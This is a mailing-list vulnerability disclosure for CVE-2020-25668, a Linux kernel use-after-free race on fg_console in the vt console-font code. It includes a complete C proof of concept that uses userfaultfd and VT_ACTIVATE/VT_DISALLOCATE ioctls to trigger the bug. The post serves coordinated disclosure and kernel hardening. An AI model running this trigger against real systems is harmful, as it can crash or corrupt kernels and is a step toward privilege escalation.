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Date: Fri, 30 Oct 2020 14:29:04 +0800  
From: Minh Yuan <yuanmingbuaa@...il.com>  
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Subject: CVE-2020-25668: Linux kernel concurrency use-after-free in vt

Hi,

We recently discovered a uaf read in \*con\_font\_op\* in the latest kernel (v5.9.2 for now). The root cause of this vulnerability is that there exists a race in the global variable "\*\*fg\_console\*", and the commit ca4463bf <<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ca4463bf8438b403596edd0ec961ca0d4f8e0220>> can't handle this issue.

Specifically, after obtaining "vc\_cons[fg\_console]" by call \*do\_fontx\_ioctl\*, we can use \*ioctl\$VT\_ACTIVATE\* to change "fg\_console" and use \*ioctl\$VT\_DISALLOCATE\* to free the old "vc\_cons[fg\_console]" obtained in \*do\_fontx\_ioctl\*. As a result, the access to vc in "con\_font\_op" will cause a uaf.

To reproduce this concurrency bug stably, I use "userfaultfd" to handle the order of "free" and "use". This is my PoC (it needs the privilege to access tty to trigger this bug.) :

```
// author by ziiiro@thu
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/kd.h>
#include <linux/vt.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <linux/prctl.h>
#include <stdint.h>
#include <unistd.h>

#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
} while (0)

int fd;
static int page_size;

static void *fault_handler_thread(void *arg) {
    unsigned long value;
    static struct uffdio_msg msg;
    long uffdio;
    static char *page = NULL;
    struct uffdio_copy uffdio_copy;
    int len, i;
    if (page == NULL) {
        page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
    }
    uffdio = (long)arg;

    for(;;) {
        struct pollfd pollfd;
        pollfd.fd = uffdio;
        pollfd.events = POLLIN;
        len = poll(&pollfd, 1, -1);

        read(uffdio, &msg, sizeof(msg));
        printf("    flags = 0x%x\n", msg.arg.pagefault.flags);
        printf("    address = 0x%x\n", msg.arg.pagefault.address);
        // change fg console to 13
        ioctl(fd, VT_ACTIVATE, 13);
        ioctl(fd, VT_DISALLOCATE, 0);
        // return to kernel-land
        uffdio_copy.src = (unsigned long)page;
        uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
~(page_size - 1);
        uffdio_copy.len = page_size;
        uffdio_copy.mode = 0;
        uffdio_copy.copy = 0;
        if (ioctl(uffdio, UFFDIO_COPY, &uffdio_copy) == -1)
            errExit("ioctl: UFFDIO_COPY");
    }
}

void setup_pagefault(void *addr, unsigned size) {
    long uffdio;
    pthread_t th;
    struct uffdio_api uffdio_api;
    struct uffdio_register uffdio_register;
    int s;
    // new userfaultfd

    uffdio = syscall(_NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
    if (uffdio == -1) errExit("userfaultfd");
    // enabled uffdio object
    uffdio_api.api = UFFDIO_API;
    uffdio_api.features = 0;
    if (ioctl(uffdio, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
UFFDIO_API");
    // register memory address
    uffdio_register.range.start = (unsigned long)addr;
    uffdio_register.range.len = size;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffdio, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl:
UFFDIO_REGISTER");
    // monitor page fault
    s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffdio);
    if (s != 0) errExit("pthread_create");
}

int main(int argc, char *argv[])
{
    fd = open("/dev/tty1", O_RDWR);
    struct consolefontdesc cfdarg;
    page_size = sysconf(_SC_PAGE_SIZE);
    void *addr = (void*)mmap((void*)0x233000,
        page_size * 2,
        PROT_READ | PROT_WRITE,
        MAP_FIXED | MAP_PRIVATE | MAP_ANON,
```

```
        -1, 0);
if ((unsigned long)addr != 0x233000)
    errExit("mmap (0x233000)");

setup_pagefault(addr, page_size);
cfdarg.charcount = 256;
cfdarg.charheight = 8;
cfdarg.chardata = addr;
// change fg console to 10
ioctl(fd, VT_ACTIVATE, 10);
ioctl(fd, PIO_FONTX, &cfdarg);

return 0;
}
```

I change "fg\_console" to \*10\* and \*13\* respectively, you can change it to any other appropriate number.

In addition to "con\_font\_op", I think other functions that read or write vc\_cons[fg\_console] will also have the same issue.

Timeline:  
\* 10.23.20 - Vulnerability reported to security@...nel.org and linux-distros@...openwall.org.  
\* 10.27.20 - CVE-2020-25668 assigned.  
\* 10.30.20 - Vulnerability opened.

Regards,

Yuan Ming, Bodong Zhao from Tsinghua University

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